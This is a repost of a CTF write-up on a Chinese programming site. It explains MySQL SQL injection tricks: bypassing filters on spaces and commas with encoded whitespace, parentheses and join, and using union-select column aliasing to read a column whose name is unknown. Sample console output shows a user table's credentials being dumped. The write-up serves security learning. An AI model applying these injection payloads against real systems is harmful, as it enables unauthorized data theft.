Mysql如何巧妙的绕过未知字段名详解

作者:daisy 时间:2024-01-27 16:35:32 

前言

本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:

实现思路

题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

示例代码:


mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

来源:http://0cx.cc/some_tips_with_mysql.jspx

标签:mysql,未知字段名
0
投稿

猜你喜欢

  • 页面制作的重要性

    2007-10-30 13:14:00
  • 使用Fabric自动化部署Django项目的实现

    2022-09-05 22:00:33
  • MySQL中select语句介绍及使用示例

    2024-01-23 06:47:07
  • 微信昵称带符号导致插入MySQL数据库时出错的解决方案

    2024-01-20 23:40:20
  • Mysql的最大连接数怎样用java程序测试

    2009-01-14 12:05:00
  • python自动化测试之setUp与tearDown实例

    2021-07-01 13:35:13
  • 在Django admin中编辑ManyToManyField的实现方法

    2021-03-05 18:03:47
  • 在Linux系统的命令行中为MySQL创建用户的方法

    2024-01-18 00:52:30
  • Python中IP地址处理IPy模块的方法

    2023-05-19 05:21:25
  • 详解查看Python解释器路径的两种方式

    2022-03-10 06:49:24
  • 17个asp常用的正则表达式

    2008-01-15 18:58:00
  • python使用tqdm模块处理文件阅读进度条显示

    2022-09-08 11:29:17
  • Bootstrap风格的WPF样式

    2024-05-02 17:32:17
  • 解决layui弹出层layer的area过大被遮挡的问题

    2024-04-19 09:53:20
  • Python实现图片拼接的代码

    2023-05-30 15:13:42
  • 在pycharm中使用pipenv创建虚拟环境和安装django的详细教程

    2021-06-06 19:02:37
  • python提取照片坐标信息的实例代码

    2023-06-01 16:37:10
  • python利用socket实现udp文件传输功能

    2023-07-07 14:15:33
  • 九宫格基本布局

    2009-06-18 18:36:00
  • windows系统下Python环境的搭建(Aptana Studio)

    2021-03-16 20:40:37
  • asp之家 网络编程 m.aspxhome.com